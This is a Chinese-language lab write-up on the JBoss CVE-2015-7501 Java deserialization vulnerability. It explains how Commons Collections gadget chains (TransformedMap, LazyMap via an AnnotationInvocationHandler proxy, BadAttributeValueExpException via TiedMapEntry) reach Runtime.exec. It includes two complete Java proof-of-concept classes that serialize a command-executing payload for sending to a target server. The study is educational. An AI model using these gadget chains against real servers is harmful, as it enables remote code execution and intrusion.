CVE-2015-7501JBOSS反序列化漏洞学习 – 作者:水木逸轩con

0x00 问题代码

直接上环境,文件路径:server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet\InvokerServlet,分析完了CVE-2017-12149之后,直接看输入流是不是被readObject了,那么是的

图片[1]-CVE-2015-7501JBOSS反序列化漏洞学习 – 作者:水木逸轩con-安全小百科

首先想要得到一个MarshalledInvocation的值,不好意思,发送的数据包不给,那么mi为空,为空之后就开始readObject了。

0x01 TransformedMap的POC

那还说啥,开整,反射链直接上,先用上次的transformedMap试一下:

1598235780.png!small

生成的序列化文件直接发送到靶机:

1598235825.png!small

1598235830.png!small

0x02 LazyMap的POC

不过这次用LazyMap的:

首先看如何触发LazyMap,不多说,上源码:

1598235853.png!small

那么根据上面的TransformedMap的POC构造可以接着进行下面的构造。

不过LazyMap的调用还是与TransformedMap的调用有些不同,因为LazyMap没有setValue方法,那么就要想办法去调用LazyMap的get方法。

1598235865.png!small

给get方法一个不存在的key值,让它调用反射链的transform方法。

https://github.com/ianxtianxt/CVE-2015-7501/blob/master/ExampleCommonsCollections1.java

这位国外大佬的POC里面的注释写的很清楚了。

首先,LazyMap的POC不需要put值,因为后面说这个

1598235884.png!small

1598235892.png!small

还上去代理了,这……,先插播一下。

这里说一下代理机制:就是创建一个类实例对象,然后代理这个类的实例对象,然后就可以使用这个类的方法,在调用这个类任意方法的时候,都会触发AnnotationInvocationHandler重写的invoke方法(或者不重写也可)。

从最后一张图的最后一行代码开始看,首先它实例化了InvocationHandler类型的对象,但是这个类型的对象的本身是一个AnnotationInvocationHandler的对象,那么当输入流到达服务器之后,服务器调用hanlerProxy的readObject方法,在这里因为传入的proxyMap是一个代理的LazyMap,既然是已经代理了的,那在调用这个LazyMap的任何方法的时候都会触发AnnotationInvocationHandler的invoke方法。

盗一张大佬的源码看看:

参考链接:

https://www.mi1k7ea.com/2019/02/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x03-Apache-Commons-Collections%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

1598235937.png!small

直接看Iterator var4这里,这里调用了LazyMap代理对象的entrySet方法(所以不用put给Map任何值),那么触发AnnotationInvocationHandler的invoke方法,这个时候再看invoke方法的源码:

1598235970.png!small

1598235977.png!small

重点是default后面第一行的代码:

执行流程:

调用的方法传入,调用的方法名称为entrySet,还是看下源码:

1598235990.png!small

第一个if不满足,看第二个if

getParameterTypes()方法的作用,返回一个Class数组,它们以声明顺序表示由此Method对象表示的方法的形式参数类型。如果底层方法没有参数,则返回长度为0的数组。

entrySet没有参数,不是object.class,第二个if不满足,看第三个及其后面的都不满足,直接default执行,memberValues

.get(val4),memberValues就是传入的LazyMap对象,而val4又不存在这个key,直接执行传入的反射链的transform方法,反射链得以执行。

最后的POC源码如下:

public class LazyMapPoc {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})};
        ChainedTransformer chain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map,chain);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(new Class[]{Class.class,Map.class});
        ctor.setAccessible(true);
        InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Target.class,lazyMap);
        Class[] interfaces = new Class[]{java.util.Map.class};
        Map proxyMap = (Map) Proxy.newProxyInstance(null,interfaces,handlerLazyMap);
        InvocationHandler handlerProxy = (InvocationHandler)ctor.newInstance(Target.class,proxyMap);
        FileOutputStream fis = new FileOutputStream(new File("bin2"));
        ObjectOutputStream out = new ObjectOutputStream(fis);
        out.writeObject(handlerProxy);
        out.flush();
        out.close();
    }
}

发送到靶机:

1598236482.png!small

1598236496.png!small

0x03 通过BadAttributeValueExpException构造反射链

关于这个类构造反射链的原理和步骤这位大佬已经说的非常清楚了:

https://www.mi1k7ea.com/2019/02/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x03-Apache-Commons-Collections%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

通过BadAttributeValueExpException的readObject方法调用TiedMapEntry的toString,通过TiedMapEntry的toString方法调用自身的getValue方法,又通过自身的getValue方法,调用LazyMap对象的get方法,LazyMap对象的get方法调用反射链的transfrom方法,反射链执行。

那么,构造的POC是这样的:

1、先写反射链

2、构造LazyMap并完成decorate操作

3、构造TiedMapEntry,map参数为LazyMap对象,key随意写“123”

4、new BadAttributeValueExpException对象

5、通过反射方法获得私有域的val(因为val是private的),对其进行赋值,将构造的TiedMapEntry传递给val。

6、将设定好的POC对象序列化到文件中。

最后的POC源码如下:

public class BadAttributePoc {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})};
        ChainedTransformer chain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        final Map lazyMap = LazyMap.decorate(map,chain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap,"123");
        BadAttributeValueExpException badAttr = new BadAttributeValueExpException(null);
        Field field = badAttr.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttr,entry);
        FileOutputStream fis = new FileOutputStream(new File("bin2"));
        ObjectOutputStream out = new ObjectOutputStream(fis);
        out.writeObject(badAttr);
        out.flush();
        out.close();
    }
}

发送到靶机:

1598236482.png!small

1598236496.png!small

来源:freebuf.com 2020-08-24 10:37:06 by: 水木逸轩con

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论